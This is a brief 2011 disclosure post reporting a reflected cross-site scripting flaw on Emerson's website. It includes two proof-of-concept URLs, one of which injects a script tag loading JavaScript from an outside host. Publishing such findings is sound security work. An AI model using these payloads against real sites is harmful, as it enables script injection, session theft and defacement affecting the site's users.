Home / exploits Emerson.com Cross Site Scripting
Posted on 05 September 2011
One of the pages in Emerson site are rendering the query string parameter without any inspection. This makes it possible to inject malicious content as shown below: http://www.emerson.com/_layouts/MCS/Email.aspx?Title=%3Cimg%20src='http://www.emerson.com/SiteCollectionImages/local/united-states/english/fastpath/INBDB%2020110225.jpg'%3E http://www.emerson.com/_layouts/MCS/Email.aspx?Title=%3Cscript%20src=%22http://madhur.github.com/files/js/site.js%22%20type=%22text/javascript%22%3E -- Madhur
